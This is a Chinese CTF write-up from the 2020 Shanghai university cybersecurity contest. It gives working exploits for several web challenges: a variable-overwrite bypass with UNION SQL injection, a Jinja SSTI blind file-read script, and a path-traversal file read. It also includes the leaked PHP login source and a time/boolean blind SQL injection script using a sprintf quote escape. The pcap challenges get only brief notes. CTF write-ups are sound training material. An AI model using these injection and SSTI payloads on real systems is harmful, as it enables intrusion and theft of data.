2020上海市大学生网络安全大赛部分wp
千毒网盘 这题很迷,开始时候扫了一次,没有扫出来www.zip,后来就扫出来了
有一个变量覆盖,过滤了'
union
等,大致思路是通过第一个循环将$_POST['code']
置NULL
掉,通过filter()
的过滤,然后通过extract($_GET,EXTR_SKIP);
,给$_POST['code']
重新赋值,进行注入,之后就是常规的联合注入了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php?_POST[code]=114514'%20and%200%20union%20select%20user(),1,flag/**/from/**/flag%23 HTTP/1.1 Host: eci-2zehpt4jc1z3lyl83iz5.cloudeci1.ichunqiu.com Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=1755a6e9ee915c-054346254fd387-303464-168000-1755a6e9eeaab8; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O;_POST[code]=1145 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 9 code=1145
Hello 读完源码可知,404页面有SSTI,fuzz读文件,这里可以通过/proc/self/fd/3
读到删除的文件
然后用脚本盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = 'http://eci-2zegdefmmywv7mh25iet.cloudeci1.ichunqiu.com:8888/eee' def check (payload) : postdata = payload r = requests.post(url, data=postdata,headers={'Content-Type' :'application/json' }).content return '1' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-%' for i in xrange(0 ,100 ): for c in s: payload = '{% if ().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__[\'open\'](\'/proc/self/fd/3\').read()[' +str(i)+':' +str(i+1 )+'] == "' +c+'" %}1{% endif %}' if check(payload): password += c print(password) break print(password)
TryToLogin 都配置文件
得到网站根目录,读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php include 'class.php' ; if (isset ($_GET['file' ])){ if (preg_match('/flag/is' , $_GET['file' ]) === 0 ){ echo file_get_contents('/' .$_GET['file' ]); } } if (isset ($_POST['password' ])){ $user = new user; $login = $user->login(); if ($login){ echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-info"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 恭喜! </h4> <strong>Success!</strong>登录成功了! </div> </div> </div> </div> EOF; }else { echo <<<EOF <br> <div class="container"> <div class="row clearfix"> <div class="col-md-12 column"> <div class="alert alert-dismissable alert-danger"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4> 注意! </h4> <strong>Wrong!</strong>用户名或密码错误!Need help? </div> </div> </div> </div> <!-- /?file=xxx 请使用绝对路径--> EOF; } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class user { public $hostname = '127.0.0.1' ; public $username = 'root' ; public $password = 'qwertyu' ; public $database = 'test' ; private $mysqli = null ; public function __construct () { $this ->mysqli = mysqli_connect( $this ->hostname, $this ->username, $this ->password ); mysqli_select_db($this ->mysqli,$this ->database); } public function filter () { $_POST['username' ] = addslashes($_POST['username' ]); $_POST['password' ] = addslashes($_POST['password' ]); $safe1 = preg_match('/inn|or/is' , $_POST['username' ]); $safe2 = preg_match('/inn|or/is' , $_POST['password' ]); if ($safe1 === 0 and $safe2 === 0 ){ return true ; }else { die ('No hacker!' ); } } public function login () { $this ->filter(); $username = $_POST['username' ]; $password = $_POST['password' ]; $sql = "select * from user where username='%s' and password='$password'" ; $sql = sprintf($sql,$username); print_r($sql); $result = mysqli_query($this ->mysqli,$sql); $result = mysqli_fetch_object($result); if ($result->id){ return 1 ; }else { return 0 ; } } } session_start();
读文件可得,sql注入格式化,逃逸单引号,bypass or,然后无列名注入,得到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl="http://eci-2zejdvvwkqa12mptvclx.cloudeci1.ichunqiu.com/index.php" proxies = { "http" : "http://127.0.0.1:8080" , } flag="" for i in range(1 ,50 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload=r"type=2&imei=\" and if((ascii(mid((select password from users limit 1 offset 0),{},1))>{}),benchmark(1000000,sha(1)),0)#" payload="type=2&imei=\" and if((ascii(mid((user()),{},1))>{}),benchmark(1000000,sha(1)),0)#" payload="(ascii(mid((select/**/group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})" payload="(ascii(mid((select x.1 from(select 1 union select * from fl4g)x limit 1,1),{},1))>{})" url_1=url data = {"username" :"admin" ,"password" :"%1$' || " +payload.format(i,mid)+"#" } r=requests.post(url_1,data=data,proxies=proxies) if "Success!" in r.text: low=mid+1 else : high=mid mid=(low+high)//2 flag+=chr(mid) print(flag)
pcap 用wireshark打开,筛选出DNP3.0协议,追踪流发现规律
然后写脚本跑
pcap analysis 和上题一样
直接手敲。。。。